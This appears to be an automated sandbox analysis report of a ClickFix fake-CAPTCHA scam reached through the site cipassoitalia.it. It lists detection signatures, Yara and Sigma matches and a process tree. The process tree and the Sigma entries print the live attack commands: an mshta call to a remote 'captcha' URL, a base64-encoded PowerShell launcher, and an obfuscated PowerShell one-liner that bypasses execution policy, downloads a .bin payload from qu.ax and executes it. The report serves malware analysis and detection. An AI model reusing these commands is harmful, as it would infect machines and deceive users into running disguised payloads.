Edit tour

Windows Analysis Report
http://cipassoitalia.it

Overview

General Information

Sample URL:	http://cipassoitalia.it
Analysis ID:	1586662
Infos:

Detection

CAPTCHA Scam ClickFix

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detect drive by download via clipboard copy & paste

Malicious sample detected (through community Yara rule)

Yara detected CAPTCHA Scam ClickFix

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Abnormal high CPU Usage

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTML page contains hidden javascript code

HTML page contains obfuscated script src

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1940,i,6344589457771235264,13748458223402876803,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://cipassoitalia.it" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

mshta.exe (PID: 7516 cmdline: "C:\Windows\system32\mshta.exe" https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec # ? ''I am not a robot - reCAPTCHA Verification ID: 4678'' MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cmd.exe (PID: 1172 cmdline: "C:\Windows\System32\cmd.exe" /c start powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3228 cmdline: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2408 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 2408	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x5ea056:$b2: ::FromBase64String( 0x10462:$s1: -join 0x11b51:$s1: -join 0x862d0:$s1: -join 0x933a5:$s1: -join 0x96777:$s1: -join 0x96e29:$s1: -join 0x9891a:$s1: -join 0x9ab20:$s1: -join 0x9b347:$s1: -join 0x9bbb7:$s1: -join 0x9c2f2:$s1: -join 0x9c324:$s1: -join 0x9c36c:$s1: -join 0x9c38b:$s1: -join 0x9cbdb:$s1: -join 0x9cd57:$s1: -join 0x9cdcf:$s1: -join 0x9ce62:$s1: -join 0x9d0c8:$s1: -join 0x9f25e:$s1: -join

HTML

Source	Rule	Description	Author
1.0.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.4.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.5.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.3.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.2.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA, CommandLine: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUA

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\cmd.exe" /c start powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA, CommandLine: "C:\Windows\System32\cmd.exe" /c start powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATg

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAu

